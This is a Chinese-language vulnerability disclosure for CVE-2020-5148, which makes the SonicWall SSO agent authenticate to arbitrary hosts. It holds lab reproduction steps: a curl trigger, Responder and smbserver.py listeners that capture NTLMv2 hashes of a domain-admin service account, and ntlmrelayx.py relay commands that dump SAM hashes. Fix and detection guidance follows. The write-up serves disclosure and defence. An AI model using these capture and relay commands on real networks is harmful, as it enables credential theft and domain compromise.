CVE-2020-5148

SonicWall UTM SSO 代理中的强制认证

SonicWall SSO 代理通过使用 NetAPI（默认）或 WMI 探测工作站，来识别给定 IP 地址背后的用户。它在启动 NTLM 认证之前不会验证工作站，并且在会话生命周期内会持续轮询同一地址。

由于 SSO 代理服务需要在其探测的每个工作站和服务器上具有管理员权限，因此在实践中它通常以域管理员身份部署。任何能够通过 UTM 设备路由 Web 流量的未认证方，都可以使域管理员帐户向攻击者选择的主机进行认证，并捕获或中继该认证。

已发布为 CVE-2020-5148，厂商安全公告 SNWLID-2021-0003。

由 Sedric Louissaint 的 Show Up Show Out Security 发现并报告。

摘要

NVD 描述：

SonicWall SSO 代理默认配置使用 NetAPI 探测网络中的相关 IP，该客户端探测方法允许潜在攻击者捕获密码哈希

技术细节

预期流程及省略的两个步骤

1. 用户的流量到达 SonicWALL UTM 设备。
2. 设备将用户 IP 作为“用户名请求”发送给 SSO 代理。被拦截的数据包将被暂存。
3. SSO 代理回复登录到该工作站的用户名。
4. LDAP 或本地数据库解析组成员身份。
5. 应用策略，暂存的流量被释放。
6. 设备持续轮询 SSO 代理以确认同一用户仍在登录。

标注指出了厂商图示中遗漏的内容：

• 步骤 2.5 SSO 代理必须先向工作站进行认证，然后才能查询它。这是一个出站的 NTLM 握手，目标地址由产生流量的来源提供，且事先未对该地址进行任何验证。
• 步骤 5.5 代理在每次轮询时重复该认证，贯穿会话生命周期。轮询间隔可在 GUI 中配置。

特权上下文

SSO 代理服务需要拥有所有关联工作站和服务器的管理员权限才能执行查询。在实际部署中，这几乎意味着该服务帐户是域管理员。

因此，交给未经验证主机的凭证是目录中权限最高的帐户。

触发方式

无需利用代码。任何从设备处理网段发出的出站 Web 请求都足以触发：

curl sonicwall.com

URL 无关紧要，请求也不需要成功。设备观察到来自未识别 IP 的流量，要求 SSO 代理识别该 IP 对应的用户，然后代理便向该 IP 发起认证。

捕获凭证

使用 Responder 或 smbserver.py 进行监听，代理的 NTLMv2 认证会未经提示地到达，并且由于轮询行为，会持续到达：

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

中继认证

破解并非必需。在未强制执行 SMB 签名的环境中，该认证可以实时中继到另一台主机，后者会将连接视为它所显示的特权帐户：

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

认证由未认证的 Web 请求触发，并在完全不同的机器上被利用，这正是安全公告中描述的完整 ACL 绕过。

复现

在您拥有或获授权测试的实验室中，使用配置了 SSO 的 UTM 设备以及使用默认 NetAPI 客户端探测方法的 SSO 代理：

1. 在设备处理网段内的主机上启动监听器：
   root@kitploit:~

   sudo responder -I <interface>
   # 或
   sudo smbserver.py c . -smb2support
   

2. 在同一台主机上，通过设备产生任何出站 Web 流量：
   root@kitploit:~

   curl sonicwall.com
   

3. 存在漏洞的配置会在几秒钟内产生来自 SSO 代理服务帐户的入站 NTLMv2 认证。等待片刻，由于轮询，它会重复出现。
4. （可选）选择中继而非捕获，针对禁用 SMB 签名的主机：
   root@kitploit:~

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

完整命令序列参见 poc/repro.sh。

仓库内容

poc/
  repro.sh       监听器、触发和中继命令，已注释，可安全优先阅读
  notes.md       为什么 NetAPI 会触发此问题，WMI 有何不同，检测指南
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

捕获中的用户名、哈希和内部地址已编辑或来自原始实验室。

修复措施

1. 将客户端探测从 NetAPI 切换为 WMI。 这是厂商记录的变通方案，也是最快的有效更改。
2. 不要让 SSO 代理使用可以在任何地方登录的帐户。 不允许 administrator 通过 SSO 代理服务、域控制器、Exchange 服务器或终端服务器登录。如果帐户必须保留特权，请使用足够长的密码（20 个字符或以上，且绝不重复使用），使得离线破解不切实际。
3. 升级目录服务连接器。 NVD 记录修复版本为 4.1.19。注意，在研究者的测试中，4.1.19 及更高版本仍表现出底层探测行为，并显示警告而非移除该行为。警告并非控制措施，因此请将切换 WMI 和帐户加固视为真正的缓解措施。
4. 在整个环境中强制执行 SMB 签名。 这并不能阻止凭证被捕获，但可以消除中继的可能性。
5. 考虑在支持的服务上启用扩展保护（Extended Protection for Authentication）， 并在边界限制出站 SMB。
6. 进行检测。 SSO 代理服务帐户向非托管工作台的主机进行认证的尝试是一个高信号事件。同样，该帐户向从未出现在资产清单中的地址进行认证也是高信号事件。

时间线

文章

• 个人博客：https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
• Show Up Show Out Security：https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

免责声明

在厂商披露后发布，仅供防御和教育用途。此处没有利用代码，因为根本不需要，这正是该发现的关键点。请不要对您不拥有或未获得书面授权测试的网络运行这些命令。